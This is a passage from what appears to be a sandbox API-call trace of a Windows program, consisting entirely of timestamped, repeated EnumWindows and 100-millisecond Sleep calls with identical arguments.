(dwMilliseconds=0x64) [0132.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.871] Sleep (dwMilliseconds=0x64) [0132.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.894] Sleep (dwMilliseconds=0x64) [0132.895] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.896] Sleep (dwMilliseconds=0x64) [0132.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.898] Sleep (dwMilliseconds=0x64) [0132.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.901] Sleep (dwMilliseconds=0x64) [0132.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.903] Sleep (dwMilliseconds=0x64) [0132.905] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.905] Sleep (dwMilliseconds=0x64) [0132.907] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.907] Sleep (dwMilliseconds=0x64) [0132.909] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.909] Sleep (dwMilliseconds=0x64) [0132.911] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.911] Sleep (dwMilliseconds=0x64) [0132.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.913] Sleep (dwMilliseconds=0x64) [0132.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.915] Sleep (dwMilliseconds=0x64) [0132.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.917] Sleep (dwMilliseconds=0x64) [0132.919] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.919] Sleep (dwMilliseconds=0x64) [0132.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.921] Sleep (dwMilliseconds=0x64) [0132.922] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.922] Sleep (dwMilliseconds=0x64) [0132.924] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.925] Sleep (dwMilliseconds=0x64) [0132.926] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.926] Sleep (dwMilliseconds=0x64) [0132.930] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.931] Sleep (dwMilliseconds=0x64) [0132.932] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.933] Sleep (dwMilliseconds=0x64) [0132.934] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.934] Sleep (dwMilliseconds=0x64) [0132.936] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.936] Sleep (dwMilliseconds=0x64) [0132.938] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.938] Sleep (dwMilliseconds=0x64) [0132.939] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.940] Sleep (dwMilliseconds=0x64) [0132.941] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.941] Sleep (dwMilliseconds=0x64) [0132.990] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.990] Sleep (dwMilliseconds=0x64) [0132.992] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.992] Sleep (dwMilliseconds=0x64) [0132.994] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.994] Sleep (dwMilliseconds=0x64) [0132.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.995] Sleep (dwMilliseconds=0x64) [0132.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.997] Sleep (dwMilliseconds=0x64) [0132.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.999] Sleep (dwMilliseconds=0x64) [0133.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.001] Sleep (dwMilliseconds=0x64) [0133.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.003] Sleep (dwMilliseconds=0x64) [0133.005] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.005] Sleep (dwMilliseconds=0x64) [0133.007] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.007] Sleep (dwMilliseconds=0x64) [0133.009] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.009] Sleep (dwMilliseconds=0x64) [0133.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.011] Sleep (dwMilliseconds=0x64) [0133.013] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.013] Sleep (dwMilliseconds=0x64) [0133.015] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.015] Sleep (dwMilliseconds=0x64) [0133.017] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.017] Sleep (dwMilliseconds=0x64) [0133.019] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.019] Sleep (dwMilliseconds=0x64) [0133.030] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.030] Sleep (dwMilliseconds=0x64) [0133.032] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.032] Sleep (dwMilliseconds=0x64) [0133.034] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.034] Sleep (dwMilliseconds=0x64) [0133.036] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.036] Sleep (dwMilliseconds=0x64) [0133.038] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.038] Sleep (dwMilliseconds=0x64) [0133.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.040] Sleep (dwMilliseconds=0x64) [0133.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.041] Sleep (dwMilliseconds=0x64) [0133.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.043] Sleep (dwMilliseconds=0x64) [0133.044] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.044] Sleep (dwMilliseconds=0x64) [0133.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.046] Sleep (dwMilliseconds=0x64) [0133.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.047] Sleep (dwMilliseconds=0x64) [0133.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.058] Sleep (dwMilliseconds=0x64) [0133.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.059] Sleep (dwMilliseconds=0x64) [0133.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.066] Sleep (dwMilliseconds=0x64) [0133.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.068] Sleep (dwMilliseconds=0x64) [0133.069] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.069] Sleep (dwMilliseconds=0x64) [0133.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.071] Sleep (dwMilliseconds=0x64) [0133.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.072] Sleep (dwMilliseconds=0x64) [0133.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.074] Sleep (dwMilliseconds=0x64) [0133.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.076] Sleep (dwMilliseconds=0x64) [0133.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.077] Sleep (dwMilliseconds=0x64) [0133.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.079] Sleep (dwMilliseconds=0x64) [0133.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.080] Sleep (dwMilliseconds=0x64) [0133.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.082] Sleep (dwMilliseconds=0x64) [0133.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.083] Sleep (dwMilliseconds=0x64) [0133.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.085] Sleep (dwMilliseconds=0x64) [0133.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.087] Sleep (dwMilliseconds=0x64) [0133.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.091] Sleep (dwMilliseconds=0x64) [0133.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.092] Sleep (dwMilliseconds=0x64) [0133.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.094] Sleep (dwMilliseconds=0x64) [0133.095] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.095] Sleep (dwMilliseconds=0x64) [0133.097] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.097] Sleep (dwMilliseconds=0x64) [0133.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.098] Sleep (dwMilliseconds=0x64) [0133.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.100] Sleep (dwMilliseconds=0x64) [0133.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.102] Sleep (dwMilliseconds=0x64) [0133.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.104] Sleep (dwMilliseconds=0x64) [0133.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.106] Sleep (dwMilliseconds=0x64) [0133.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.109] Sleep (dwMilliseconds=0x64) [0133.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.111] Sleep (dwMilliseconds=0x64) [0133.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.112] Sleep (dwMilliseconds=0x64) [0133.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.114] Sleep (dwMilliseconds=0x64) [0133.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.116] Sleep (dwMilliseconds=0x64) [0133.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.117] Sleep (dwMilliseconds=0x64) [0133.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.119] Sleep (dwMilliseconds=0x64) [0133.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.121] Sleep (dwMilliseconds=0x64) [0133.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.203] Sleep (dwMilliseconds=0x64) [0133.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.283] Sleep (dwMilliseconds=0x64) [0133.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.363] Sleep (dwMilliseconds=0x64) [0133.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.368] Sleep (dwMilliseconds=0x64) [0133.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.370] Sleep (dwMilliseconds=0x64) [0133.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.371] Sleep (dwMilliseconds=0x64) [0133.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.373] Sleep (dwMilliseconds=0x64) [0133.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.376] Sleep (dwMilliseconds=0x64) [0133.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.378] Sleep (dwMilliseconds=0x64) [0133.379] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.379] Sleep (dwMilliseconds=0x64) [0133.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.381] Sleep (dwMilliseconds=0x64) [0133.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.382] Sleep (dwMilliseconds=0x64) [0133.385] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.385] Sleep (dwMilliseconds=0x64) [0133.388] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.388] Sleep (dwMilliseconds=0x64) [0133.389] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.390] Sleep (dwMilliseconds=0x64) [0133.391] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.391] Sleep (dwMilliseconds=0x64) [0133.392] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.393] Sleep (dwMilliseconds=0x64) [0133.395] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.402] Sleep (dwMilliseconds=0x64) [0133.447] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.447] Sleep (dwMilliseconds=0x64) [0133.450] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.450] Sleep (dwMilliseconds=0x64) [0133.452] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.452] Sleep (dwMilliseconds=0x64) [0133.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.454] Sleep (dwMilliseconds=0x64) [0133.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.460] Sleep (dwMilliseconds=0x64) [0133.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.462] Sleep (dwMilliseconds=0x64) [0133.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.464] Sleep (dwMilliseconds=0x64) [0133.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.466] Sleep (dwMilliseconds=0x64) [0133.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.468] Sleep (dwMilliseconds=0x64) [0133.550] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.550] Sleep (dwMilliseconds=0x64) [0133.573] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.574] Sleep (dwMilliseconds=0x64) [0133.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.578] Sleep (dwMilliseconds=0x64) [0133.581] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.581] Sleep (dwMilliseconds=0x64) [0133.582] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.583] Sleep (dwMilliseconds=0x64) [0133.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.584] Sleep (dwMilliseconds=0x64) [0133.585] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.586] Sleep (dwMilliseconds=0x64) [0133.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.587] Sleep (dwMilliseconds=0x64) [0133.588] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.589] Sleep (dwMilliseconds=0x64) [0133.590] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.590] Sleep (dwMilliseconds=0x64) [0133.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.592] Sleep (dwMilliseconds=0x64) [0133.594] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.594] Sleep (dwMilliseconds=0x64) [0133.595] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.596] Sleep (dwMilliseconds=0x64) [0133.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.597] Sleep (dwMilliseconds=0x64) [0133.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.599] Sleep (dwMilliseconds=0x64) [0133.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.601] Sleep (dwMilliseconds=0x64) [0133.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.603] Sleep (dwMilliseconds=0x64) [0133.604] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.604] Sleep (dwMilliseconds=0x64) [0133.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.606] Sleep (dwMilliseconds=0x64) [0133.607] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.608] Sleep (dwMilliseconds=0x64) [0133.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.610] Sleep (dwMilliseconds=0x64) [0133.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.612] Sleep (dwMilliseconds=0x64) [0133.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.614] Sleep (dwMilliseconds=0x64) [0133.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.615] Sleep (dwMilliseconds=0x64) [0133.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.618] Sleep (dwMilliseconds=0x64) [0133.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.620] Sleep (dwMilliseconds=0x64) [0133.625] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.625] Sleep (dwMilliseconds=0x64) [0133.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.628] Sleep (dwMilliseconds=0x64) [0133.629] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.630] Sleep (dwMilliseconds=0x64) [0133.631] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.631] Sleep (dwMilliseconds=0x64) [0133.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.633] Sleep (dwMilliseconds=0x64) [0133.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.634] Sleep (dwMilliseconds=0x64) [0133.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.636] Sleep (dwMilliseconds=0x64) [0133.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.638] Sleep (dwMilliseconds=0x64) [0133.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.639] Sleep (dwMilliseconds=0x64) [0133.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.641] Sleep (dwMilliseconds=0x64) [0133.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.644] Sleep (dwMilliseconds=0x64) [0133.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.647] Sleep (dwMilliseconds=0x64) [0133.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.652] Sleep (dwMilliseconds=0x64) [0133.671] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.671] Sleep (dwMilliseconds=0x64) [0133.673] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.674] Sleep (dwMilliseconds=0x64) [0133.675] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.676] Sleep (dwMilliseconds=0x64) [0133.677] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.677] Sleep (dwMilliseconds=0x64) [0133.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.681] Sleep (dwMilliseconds=0x64) [0133.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.684] Sleep (dwMilliseconds=0x64) [0133.686] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.686] Sleep (dwMilliseconds=0x64) [0133.687] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.688] Sleep (dwMilliseconds=0x64) [0133.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.690] Sleep (dwMilliseconds=0x64) [0133.694] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.694] Sleep (dwMilliseconds=0x64) [0133.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.697] Sleep (dwMilliseconds=0x64) [0133.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.698] Sleep (dwMilliseconds=0x64) [0133.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.700] Sleep (dwMilliseconds=0x64) [0133.701] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.702] Sleep (dwMilliseconds=0x64) [0133.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.780] Sleep (dwMilliseconds=0x64) [0133.781] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.782] Sleep (dwMilliseconds=0x64) [0133.783] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.784] Sleep (dwMilliseconds=0x64) [0133.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.786] Sleep (dwMilliseconds=0x64) [0133.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.788] Sleep (dwMilliseconds=0x64) [0133.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.790] Sleep (dwMilliseconds=0x64) [0133.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.791] Sleep (dwMilliseconds=0x64) [0133.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.794] Sleep (dwMilliseconds=0x64) [0133.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.796] Sleep (dwMilliseconds=0x64) [0133.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.797] Sleep (dwMilliseconds=0x64) [0133.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.799] Sleep (dwMilliseconds=0x64) [0133.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.801] Sleep (dwMilliseconds=0x64) [0133.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.806] Sleep (dwMilliseconds=0x64) [0133.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.807] Sleep (dwMilliseconds=0x64) [0133.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.809] Sleep (dwMilliseconds=0x64) [0133.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.812] Sleep (dwMilliseconds=0x64) [0133.815] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.815] Sleep (dwMilliseconds=0x64) [0133.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.817] Sleep (dwMilliseconds=0x64) [0133.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.818] Sleep (dwMilliseconds=0x64) [0133.820] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.820] Sleep (dwMilliseconds=0x64) [0133.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.821] Sleep (dwMilliseconds=0x64) [0133.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.823] Sleep (dwMilliseconds=0x64) [0133.824] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.824] Sleep (dwMilliseconds=0x64) [0133.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.826] Sleep (dwMilliseconds=0x64) [0133.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.830] Sleep (dwMilliseconds=0x64) [0133.832] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.832] Sleep (dwMilliseconds=0x64) [0133.834] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.834] Sleep (dwMilliseconds=0x64) [0133.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.835] Sleep (dwMilliseconds=0x64) [0133.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.837] Sleep (dwMilliseconds=0x64) [0133.838] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.838] Sleep (dwMilliseconds=0x64) [0133.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.841] Sleep (dwMilliseconds=0x64) [0133.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.843] Sleep (dwMilliseconds=0x64) [0133.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.846] Sleep (dwMilliseconds=0x64) [0133.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.850] Sleep (dwMilliseconds=0x64) [0133.853] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.853] Sleep (dwMilliseconds=0x64) [0133.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.858] Sleep (dwMilliseconds=0x64) [0133.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.861] Sleep (dwMilliseconds=0x64) [0133.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.871] Sleep (dwMilliseconds=0x64) [0133.895] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.896] Sleep (dwMilliseconds=0x64) [0133.942] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.943] Sleep (dwMilliseconds=0x64) [0133.944] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.944] Sleep (dwMilliseconds=0x64) [0133.946] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.946] Sleep (dwMilliseconds=0x64) [0133.948] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.948] Sleep (dwMilliseconds=0x64) [0133.950] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.950] Sleep (dwMilliseconds=0x64) [0133.952] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.952] Sleep (dwMilliseconds=0x64) [0133.953] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.954] Sleep (dwMilliseconds=0x64) [0133.955] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.955] Sleep (dwMilliseconds=0x64) [0133.957] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.957] Sleep (dwMilliseconds=0x64) [0133.959] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.959] Sleep (dwMilliseconds=0x64) [0133.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.961] Sleep (dwMilliseconds=0x64) [0133.962] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.963] Sleep (dwMilliseconds=0x64) [0133.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.964] Sleep (dwMilliseconds=0x64) [0133.966] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.966] Sleep (dwMilliseconds=0x64) [0133.969] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.969] Sleep (dwMilliseconds=0x64) [0133.971] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0133.971] Sleep (dwMilliseconds=0x64) [0134.061] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.062] Sleep (dwMilliseconds=0x64) [0134.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.066] Sleep (dwMilliseconds=0x64) [0134.067] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.068] Sleep (dwMilliseconds=0x64) [0134.069] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.069] Sleep (dwMilliseconds=0x64) [0134.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.071] Sleep (dwMilliseconds=0x64) [0134.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.073] Sleep (dwMilliseconds=0x64) [0134.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.074] Sleep (dwMilliseconds=0x64) [0134.075] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.076] Sleep (dwMilliseconds=0x64) [0134.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.077] Sleep (dwMilliseconds=0x64) [0134.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.079] Sleep (dwMilliseconds=0x64) [0134.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.080] Sleep (dwMilliseconds=0x64) [0134.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.082] Sleep (dwMilliseconds=0x64) [0134.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.084] Sleep (dwMilliseconds=0x64) [0134.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.085] Sleep (dwMilliseconds=0x64) [0134.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.158] Sleep (dwMilliseconds=0x64) [0134.241] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.242] Sleep (dwMilliseconds=0x64) [0134.263] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.263] Sleep 